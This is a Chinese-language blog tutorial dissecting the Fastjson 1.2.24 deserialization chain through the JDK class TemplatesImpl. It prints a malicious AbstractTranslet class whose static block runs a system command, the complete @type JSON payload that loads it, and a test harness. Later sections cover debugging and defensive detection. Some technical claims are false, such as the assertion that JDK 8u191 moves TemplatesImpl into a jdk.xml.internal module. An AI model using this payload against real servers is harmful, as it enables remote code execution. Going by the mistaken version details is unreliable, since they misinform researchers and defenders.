1. 为什么值得花时间啃这条利用链
Fastjson 1.2.24 的反序列化问题,在 Java 安全圈里算是一个绕不开的经典案例。很多刚接触 Java 反序列化漏洞的朋友,第一次看到TemplatesImpl这个词的时候,脑子里大概是一团浆糊——明明是一个处理字节码的类,怎么就成了远程代码执行的跳板?这条链子的精妙之处,恰恰在于它把 Fastjson 的自动类型解析机制和 Java 底层类加载机制缝合在了一起。
我自己最初分析这条链的时候,踩了不少坑。网上很多文章直接甩一段 payload 出来,告诉你“这样就能弹计算器”,但为什么是_bytecodes而不是别的字段?为什么Feature.SupportNonPublicField这个开关必须打开?getTransletInstance到底在什么时机被触发?这些问题如果不搞清楚,换个目标环境或者换个 JDK 版本,payload 就直接哑火。
这篇文章面向的是有一定 Java 基础、想真正搞明白 Fastjson 反序列化利用链内部构造的读者。我会从 Fastjson 的parseObject调用入口开始,一步步跟到TemplatesImpl的newTransformer方法,把每一个关键节点的调用逻辑、参数传递、触发条件都拆开来讲。同时也会补充实际测试中遇到的版本差异、依赖条件、常见报错和排查思路。读完你应该能自己独立构造并调试这条链,而不是只会复制粘贴。
需要提前说明的是,本文所有分析都基于公开的漏洞研究资料和本地搭建的测试环境,目的是帮助开发者理解反序列化漏洞的成因,以便在代码审计和系统防护中更好地识别和修复这类问题。请勿将相关技术用于任何未经授权的场景。
2. Fastjson 1.2.24 的自动类型解析机制
2.1 parseObject 的默认行为与 @type 处理
Fastjson 在 1.2.24 版本中,JSON.parseObject(String text)这个方法有一个非常“方便”的特性:当 JSON 字符串里出现@type字段时,它会尝试把这段 JSON 反序列化成@type指定的那个 Java 类。这个设计的初衷是好的,方便在序列化和反序列化过程中保留类型信息,尤其是在处理多态对象的时候。
但问题就出在,这个@type的值完全由输入字符串控制。攻击者可以指定任意类名,Fastjson 会通过TypeUtils.loadClass去加载这个类,然后调用它的 setter 方法或者构造方法来填充字段。这就打开了一个口子——只要某个类的 setter 方法或者构造方法里存在可以被利用的逻辑,就有可能触发恶意行为。
我实测下来,parseObject在解析时会先扫描 JSON 的 key,遇到@type就记录下目标类名,然后进入DefaultJSONParser.parseObject的分支逻辑。这里有一个关键点:Fastjson 会调用JavaBeanDeserializer来反序列化目标类,而JavaBeanDeserializer会根据字段名去匹配目标类的 setter 方法。也就是说,JSON 里的每一个 key,都会尝试映射到目标类的一个 setter 上。
2.2 为什么 TemplatesImpl 会被选中
TemplatesImpl这个类位于com.sun.org.apache.xalan.internal.xsltc.trax包下,是 JDK 自带的一个类,不需要额外依赖。这一点非常重要——在很多实战场景里,目标系统不一定有 Commons Collections 这类第三方库,但 JDK 自带的类是肯定存在的。
这个类本身是用来处理 XSLT 转换的,但它内部有一个非常敏感的方法:newTransformer()。这个方法会调用getTransletInstance(),而getTransletInstance()会做一件很危险的事情——它会把_bytecodes字段里的字节数组当作 Java 类的字节码,通过defineClass加载成一个新的类,然后实例化它。
换句话说,如果你能控制_bytecodes的内容,并且能触发newTransformer()被调用,你就等于让目标 JVM 加载并执行了你指定的任意字节码。这就是整条链的核心。
那 Fastjson 是怎么把这两个点连起来的呢?关键在于TemplatesImpl类里有一个getOutputProperties()方法,这个方法会调用newTransformer()。而getOutputProperties恰好符合 JavaBean 的 getter 命名规范——以get开头,返回一个Properties对象。Fastjson 在反序列化时,如果遇到某个字段需要获取值,或者在某些触发条件下,会调用目标对象的 getter 方法。这就给了我们一个触发点。
2.3 利用链的整体调用栈预览
在深入细节之前,先把整条链的调用顺序理一遍,这样后面看具体代码的时候不会迷路:
JSON.parseObject(payload) -> DefaultJSONParser.parseObject -> JavaBeanDeserializer.deserialize -> 设置 TemplatesImpl 的 _bytecodes、_name、_tfactory 字段 -> 触发 getOutputProperties() -> TemplatesImpl.newTransformer() -> TemplatesImpl.getTransletInstance() -> TemplatesImpl.defineTransletClasses() -> ClassLoader.defineClass(_bytecodes) -> 实例化恶意类 -> 执行恶意代码这个调用栈看起来很长,但每一步都有其必然性。接下来我会逐个环节拆解。
3. TemplatesImpl 利用链的核心构造
3.1 _bytecodes 字段与 defineClass 的配合
TemplatesImpl类里有三个私有字段是这条链的关键:_bytecodes、_name、_tfactory。其中_bytecodes是一个byte[][]类型的二维数组,用来存放编译后的 Java 字节码。_name是类名,_tfactory是一个TransformerFactoryImpl对象。
在defineTransletClasses()方法里,代码会遍历_bytecodes数组,对每一个字节数组调用defineClass。这里有一个细节:defineClass是ClassLoader的方法,它接收字节数组、起始偏移、长度等参数,返回一个Class对象。这个Class对象随后会被实例化,实例化过程中就会执行恶意类里的静态代码块或者构造方法。
我试过用javac编译一个简单的测试类,然后把.class文件的字节读出来,Base64 编码后塞进 JSON 的_bytecodes字段。实测下来,只要字节码本身是合法的,defineClass就能正常加载。但这里有一个坑:TemplatesImpl对加载的类有一个父类要求——它要求加载的类必须继承AbstractTranslet。如果你随便写一个类,defineTransletClasses在检查父类的时候会抛异常,导致利用失败。
所以构造恶意字节码的时候,需要让类继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,并在静态代码块或者构造方法里写入要执行的命令。这个细节很多文章没有强调,但实际调试的时候如果忽略了,会卡很久。
3.2 _name 和 _tfactory 的必要性
_name字段看起来不起眼,但它决定了defineClass时传入的类名。如果_name为 null,getTransletInstance会直接返回 null,后面的逻辑就不会执行。所以 payload 里必须给_name赋一个非空字符串。
_tfactory字段的类型是TransformerFactoryImpl,在getTransletInstance里会用到它来创建TransletClassLoader。如果_tfactory为 null,defineTransletClasses在创建类加载器的时候会抛NullPointerException。不过在 Fastjson 的反序列化过程中,_tfactory可以通过@type指定为一个TransformerFactoryImpl实例,或者利用 Fastjson 的默认行为自动填充。
实测发现,在某些 Fastjson 版本里,即使不显式设置_tfactory,Fastjson 也会尝试用默认构造方法创建一个。但为了保险起见,payload 里最好显式声明。
3.3 getOutputProperties 的触发时机
getOutputProperties()是整条链的触发入口。这个方法返回一个Properties对象,方法体里调用了newTransformer()。Fastjson 在反序列化TemplatesImpl的时候,会遍历 JSON 里的字段,尝试匹配 setter。但getOutputProperties是一个 getter,不是 setter,为什么会被调用?
这里涉及到 Fastjson 的一个行为:当JavaBeanDeserializer处理完所有字段后,会调用createInstance来创建对象。在某些情况下,Fastjson 会调用目标类的 getter 来获取属性值,尤其是在处理JSONObject到 JavaBean 的转换时。具体到TemplatesImpl,Fastjson 在反序列化过程中会识别到outputProperties这个属性,并尝试调用它的 getter。
不过这里有一个前提条件:Fastjson 需要开启Feature.SupportNonPublicField。因为_bytecodes、_name、_tfactory都是私有字段,默认情况下 Fastjson 不会去设置它们。只有开启了SupportNonPublicField,Fastjson 才会通过反射访问私有字段并赋值。
// 开启 SupportNonPublicField 的调用方式 ParserConfig.getGlobalInstance().setSafeMode(false); JSON.parseObject(payload, Feature.SupportNonPublicField);这个开关是整条链能够成立的关键之一。在实际漏洞场景中,如果目标代码没有开启这个 Feature,这条链就走不通。这也是为什么很多真实环境里 Fastjson 的反序列化漏洞需要配合其他条件才能利用。
4. 完整实操过程与调试记录
4.1 本地测试环境搭建
我用的测试环境是 JDK 8u102,Fastjson 1.2.24。这两个版本组合是这条链最经典的适用环境。JDK 版本很关键,因为高版本 JDK 对defineClass的调用做了一些限制,而且TemplatesImpl的内部实现也可能有变化。
依赖方面,只需要在项目里引入 Fastjson 1.2.24 的 jar 包即可。不需要 Commons Collections 或其他第三方库。这也是这条链相比 CC 链的一个优势——依赖更少,适用范围更广。
测试代码的入口很简单:
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; public class FastjsonTest { public static void main(String[] args) { String payload = "..."; // 构造好的 JSON JSON.parseObject(payload, Feature.SupportNonPublicField); } }4.2 恶意字节码的编译与提取
构造恶意类的时候,我写了一个继承AbstractTranslet的类,在静态代码块里执行命令:
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.Hashtable; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; public class EvilTranslet extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc"); } catch (Exception e) { e.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} }编译之后,用Files.readAllBytes读取.class文件,然后 Base64 编码。这里要注意,_bytecodes在 JSON 里是一个数组,每个元素是一个 Base64 字符串。Fastjson 在反序列化时会自动把 Base64 字符串解码成字节数组。
4.3 JSON payload 的组装细节
Payload 的结构大概是这样的:
{ "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes": ["yv66vgAAADQ..."], "_name": "a.b.C", "_tfactory": {}, "_outputProperties": {} }这里有几个细节值得展开说。_outputProperties这个字段看起来很奇怪,它并不是TemplatesImpl的字段,但 Fastjson 在反序列化时会把它当作一个属性来处理,从而触发getOutputProperties()的调用。这个技巧在 Fastjson 的利用链里很常见——通过添加一个不存在的字段来触发 getter。
_tfactory的值我写的是空对象{},Fastjson 会尝试把它反序列化成一个TransformerFactoryImpl实例。实测下来,空对象也能正常工作,因为TransformerFactoryImpl有无参构造方法。
_name的值可以随便写,只要非空就行。我一般写一个看起来像正常类名的字符串,比如"a.b.C"。
4.4 调试过程中观察到的调用顺序
在 IDEA 里开 Debug 模式,在TemplatesImpl.getTransletInstance方法上下断点,可以清楚地看到调用栈。我记录下来的顺序是:
JSON.parseObject进入DefaultJSONParser.parseObject- 解析到
@type,加载TemplatesImpl类 JavaBeanDeserializer.deserialize开始处理各个字段- 设置
_bytecodes、_name、_tfactory - 处理
_outputProperties时,调用getOutputProperties() getOutputProperties调用newTransformer()newTransformer调用getTransletInstance()getTransletInstance调用defineTransletClasses()defineTransletClasses调用defineClass加载恶意字节码- 恶意类的静态代码块执行
每一步的断点都能命中,说明整条链是通的。如果某一步断了,比如getTransletInstance返回 null,那就要检查_name是否为空,或者_bytecodes是否合法。
5. 常见问题与排查技巧实录
5.1 利用链不触发的几种典型情况
在实际测试中,这条链不触发的原因通常集中在几个点上。我整理了一个速查表:
| 现象 | 可能原因 | 排查方法 |
|---|---|---|
| 无任何反应,不报错 | 未开启 SupportNonPublicField | 检查 parseObject 调用是否传了 Feature |
| 报 ClassNotFoundException | @type 指定的类不存在 | 确认 JDK 版本是否包含 TemplatesImpl |
| 报 NullPointerException | _name 或 _tfactory 为 null | 检查 payload 里这两个字段是否赋值 |
| 报 ClassFormatError | _bytecodes 字节码不合法 | 重新编译并确认 Base64 编码正确 |
| 报 VerifyError | 恶意类未继承 AbstractTranslet | 检查恶意类的继承关系 |
| 命令不执行但无报错 | 命令路径或权限问题 | 换一个简单命令测试,如 touch 文件 |
这个表里的每一行都是我实际踩过的坑。特别是第一行,很多人复制了 payload 但忘了加Feature.SupportNonPublicField,结果调试半天找不到原因。
5.2 JDK 版本差异带来的影响
JDK 版本对这条链的影响非常大。我在 JDK 8u102 上测试成功,但换到 JDK 8u191 之后,同样的 payload 就失败了。原因是高版本 JDK 在defineClass的调用链上增加了一些检查,而且TemplatesImpl的内部实现也有调整。
具体来说,JDK 8u191 之后,com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类被移到了jdk.xml.internal模块下,包名和类名都变了。如果你的目标环境是高版本 JDK,需要重新确认@type的值。
另外,高版本 JDK 对反射访问私有字段也做了更严格的限制。setAccessible(true)在某些情况下会抛InaccessibleObjectException。这也是为什么这条链在低版本 JDK 上更容易成功。
5.3 字节码构造中的常见错误
构造恶意字节码的时候,最容易犯的错误是忘记继承AbstractTranslet。defineTransletClasses在加载完类之后,会检查这个类是否是AbstractTranslet的子类。如果不是,会抛TransletException。
另一个常见错误是字节码版本不匹配。如果你用 JDK 8 编译恶意类,但目标环境是 JDK 7,加载的时候会报UnsupportedClassVersionError。解决办法是用目标环境的 JDK 版本编译,或者用-target参数指定兼容版本。
还有一个细节是 Base64 编码。_bytecodes字段在 JSON 里是字符串数组,Fastjson 会自动做 Base64 解码。如果你手动解码后再塞进去,反而会出错。我一般用Base64.getEncoder().encodeToString(bytes)来生成。
5.4 实际防护中的检测思路
从防御的角度来看,这条链的检测点其实不少。首先,@type字段本身就是一个强特征,正常的业务 JSON 里很少会出现这个字段。其次,TemplatesImpl这个类名在正常的业务代码里几乎不会出现,可以作为黑名单的关键词。
更进一步的检测可以在defineClass的调用上做文章。如果 JVM 在运行过程中频繁调用defineClass加载动态生成的类,这本身就是一个可疑信号。很多 RASP 产品就是通过 hookClassLoader.defineClass来拦截这类攻击的。
我在实际代码审计中,一般会重点检查JSON.parseObject的调用点,看是否开启了SupportNonPublicField,以及是否有对@type做白名单校验。如果两者都没有,那基本可以判定存在风险。
6. 从这条链延伸出去的一些思考
分析完这条链之后,我发现 Fastjson 的反序列化问题其实是一个系统性的设计问题。@type机制给了攻击者太大的自由度,而SupportNonPublicField这个 Feature 又把私有字段的保护打开了。两者结合,就形成了一条从 JSON 字符串到任意代码执行的完整路径。
TemplatesImpl之所以成为经典,是因为它不依赖第三方库,而且触发点隐蔽——getOutputProperties这个方法名看起来人畜无害,谁能想到它会去加载字节码呢?这种“正常方法里藏着危险逻辑”的模式,在 Java 生态里其实不少见。做代码审计的时候,不能只看方法名,要跟进去看方法体到底做了什么。
另外,这条链也让我重新审视了 Java 的类加载机制。defineClass本身是一个正常的方法,ClassLoader 用它来加载类是天经地义的事情。但当输入的字节码完全可控时,这个正常方法就变成了攻击者的武器。安全和不安全之间的界限,往往就在于输入是否可控。
后续如果想继续深入,可以研究一下 Fastjson 在后续版本里是怎么修复这个问题的。1.2.25 之后引入了checkAutoType机制,对@type的值做了更严格的校验。但绕过和修复的对抗一直在持续,这也是 Java 安全领域一个很有意思的话题。